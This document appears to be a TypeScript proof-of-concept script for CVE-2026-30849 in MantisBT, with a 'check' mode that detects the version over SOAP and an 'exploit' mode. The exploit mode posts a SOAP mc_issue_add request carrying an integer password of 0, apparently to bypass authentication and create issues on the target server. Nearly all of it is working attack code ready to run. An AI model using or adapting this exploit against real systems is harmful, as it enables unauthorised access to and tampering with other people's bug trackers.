README.md
Rendering markdown...
import {spawnSync} from "node:child_process";
const PATCH_VERSION = "2.28.1";
type Command = "check" | "exploit";
function printUsage(): void {
console.log(
[
"Usage:",
" ts-node CVE-2026-30849.ts check --url <base-url>",
" ts-node CVE-2026-30849.ts exploit --url <base-url>",
"",
"Examples:",
" ts-node CVE-2026-30849.ts check --url http://mantis.local",
" ts-node CVE-2026-30849.ts exploit --url http://mantis.local",
"",
].join("\n"),
);
}
function parseArgs(argv: string[]): { command: Command; url: string } | null {
const [commandRaw, ...rest] = argv;
if (commandRaw !== "check" && commandRaw !== "exploit") {
return null;
}
let url = "";
for (let i = 0; i < rest.length; i++) {
if (rest[i] === "--url") {
url = rest[i + 1] ?? "";
i++;
}
}
if (!url) {
return null;
}
return {command: commandRaw, url};
}
function normalizeEndpoint(input: string): string {
return `${input.trim().replace(/\/+$/, "")}/api/soap/mantisconnect.php`;
}
function soapVersionRequest(): string {
return `<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<mc_version/>
</soapenv:Body>
</soapenv:Envelope>`;
}
function soapExploitRequest(): string {
return `<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:man="http://futureware.biz/mantisconnect"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soapenv:Body>
<man:mc_issue_add>
<username xsi:type="xsd:string">FLS</username>
<password xsi:type="xsd:int">0</password>
<issue xsi:type="man:IssueData">
<summary xsi:type="xsd:string">Incident API SOAP</summary>
<description xsi:type="xsd:string">Création d'un ticket via mc_issue_add</description>
<project xsi:type="man:ProjectData">
<id xsi:type="xsd:integer">7</id>
</project>
<category xsi:type="man:ObjectRef">
<id xsi:type="xsd:integer">2319</id>
</category>
<priority xsi:type="man:ObjectRef">
<name xsi:type="xsd:string">high</name>
</priority>
<severity xsi:type="man:ObjectRef">
<name xsi:type="xsd:string">major</name>
</severity>
<reproducibility xsi:type="man:ObjectRef">
<name xsi:type="xsd:string">always</name>
</reproducibility>
<handler xsi:type="man:AccountData">
<id xsi:type="xsd:integer">168</id>
<name xsi:type="xsd:string">KLR</name>
</handler>
<custom_fields xsi:type="man:ArrayOfCustomFieldValueForIssueData">
<item xsi:type="man:CustomFieldValueForIssueData">
<field xsi:type="man:ObjectRef">
<name xsi:type="xsd:string">Type d'action</name>
</field>
<value xsi:type="xsd:string">Exploitation</value>
</item>
</custom_fields>
</issue>
</man:mc_issue_add>
</soapenv:Body>
</soapenv:Envelope>`;
}
function callMcVersion(endpoint: string): string {
const curl = spawnSync(
"curl",
[
"-i",
endpoint,
"-X",
"POST",
"-H",
"Content-Type: text/xml; charset=utf-8",
"--data-binary",
"@-",
],
{
encoding: "utf8",
input: soapVersionRequest(),
stdio: ["pipe", "pipe", "pipe"],
windowsHide: true,
},
);
if (curl.error) {
throw new Error(`curl execution failed: ${curl.error.message}`);
}
if (curl.status !== 0) {
const stderr = (curl.stderr ?? "").trim();
const stdout = (curl.stdout ?? "").trim();
throw new Error(
`curl exited with code ${curl.status}. ${stderr || stdout || "No error output."}`,
);
}
const output = `${curl.stdout ?? ""}\n${curl.stderr ?? ""}`.trim();
if (!output) {
throw new Error("No output returned by curl.");
}
return output;
}
function callExploit(endpoint: string): string {
const curl = spawnSync(
"curl",
[
"-sS",
endpoint,
"-X",
"POST",
"-H",
"Content-Type: text/xml; charset=utf-8",
"-H",
"SOAPAction: \"\"",
"--data-binary",
"@-",
],
{
encoding: "utf8",
input: soapExploitRequest(),
stdio: ["pipe", "pipe", "pipe"],
windowsHide: true,
},
);
if (curl.error) {
throw new Error(`curl execution failed: ${curl.error.message}`);
}
if (curl.status !== 0) {
const stderr = (curl.stderr ?? "").trim();
const stdout = (curl.stdout ?? "").trim();
throw new Error(
`curl exited with code ${curl.status}. ${stderr || stdout || "No error output."}`,
);
}
const output = `${curl.stdout ?? ""}\n${curl.stderr ?? ""}`.trim();
if (!output) {
throw new Error("No output returned by curl.");
}
return output;
}
function extractVersion(response: string): string | null {
const returnMatch = response.match(/<return(?:\s+[^>]*)?>([^<]+)<\/return>/i);
if (returnMatch?.[1]) {
return returnMatch[1].trim();
}
const faultMatch = response.match(/<faultstring>([^<]+)<\/faultstring>/i);
if (faultMatch?.[1]) {
throw new Error(`SOAP fault: ${faultMatch[1].trim()}`);
}
return null;
}
function parseVersion(version: string): number[] {
return version
.split(".")
.map((part) => Number.parseInt(part, 10))
.map((n) => (Number.isNaN(n) ? 0 : n));
}
function compareVersions(a: string, b: string): number {
const av = parseVersion(a);
const bv = parseVersion(b);
const max = Math.max(av.length, bv.length);
for (let i = 0; i < max; i++) {
const left = av[i] ?? 0;
const right = bv[i] ?? 0;
if (left > right) return 1;
if (left < right) return -1;
}
return 0;
}
function runCheck(rawUrl: string): void {
const endpoint = normalizeEndpoint(rawUrl);
const response = callMcVersion(endpoint);
const version = extractVersion(response);
if (!version) {
console.log("Version: not found in SOAP response");
console.log("Unable to determine vulnerability status");
process.exitCode = 2;
return;
}
console.log(`Detected MantisBT version: ${version}`);
console.log(`Patched version: ${PATCH_VERSION}`);
if (compareVersions(version, PATCH_VERSION) < 0) {
console.log("VULNERABLE");
return;
}
console.log("NOT VULNERABLE");
}
function runExploit(rawUrl: string): void {
const endpoint = normalizeEndpoint(rawUrl);
const response = callExploit(endpoint);
console.log("Exploit succeed");
console.log(response)
}
function main(): void {
const parsed = parseArgs(process.argv.slice(2));
if (!parsed) {
printUsage();
process.exitCode = 1;
return;
}
try {
if (parsed.command === "check") {
runCheck(parsed.url);
} else {
runExploit(parsed.url);
}
} catch (error) {
const message = error instanceof Error ? error.message : String(error);
console.error(`Error: ${message}`);
process.exitCode = 2;
}
}
main();